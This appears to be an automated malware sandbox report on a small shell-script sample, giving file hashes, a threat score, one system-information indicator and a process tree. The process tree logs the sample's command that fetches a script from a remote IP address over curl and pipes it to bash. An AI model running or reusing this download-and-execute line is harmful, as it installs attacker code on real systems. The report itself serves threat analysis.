482d8845b618545924463e79d0d2d193a6cccc4455fb48551235c4a455c7c9f4

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
16/09/2026, 15:34

Target
cirqueira.sh_x86_64.sh
Size 205B
Sample260916-szychssdkh
SHA256 482d8845b618545924463e79d0d2d193a6cccc4455fb48551235c4a455c7c9f4
MD5 2170f0d8871d6c5b53084f0e3e11e394
SHA1 9f36ea335d39aba130d24e3a63b89dfdad730160
SHA512 411b0a0d968e54de48042269594a06a29eae0f8bba2143138f7168e82574c79926e5e34fbaea6f3c5f02b40dd5f9e22c04632477cb4d13ee2a8eb327c51efb5c
TLSH
T194D022C83AD56E216E181B2DB86460B0C11D88D2FCEF84F8C5030801E482B893E08A86
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

/tmp/cirqueira.sh_x86_64.sh
/tmp/cirqueira.sh_x86_64.sh
1⤵
PID:710
- /bin/bash
  bash
  2⤵
  PID:714
- /usr/bin/curl
  curl -s http://94.154.43.227:8080/bins/cirqueira.sh
  2⤵
  - Reads runtime system information
  PID:713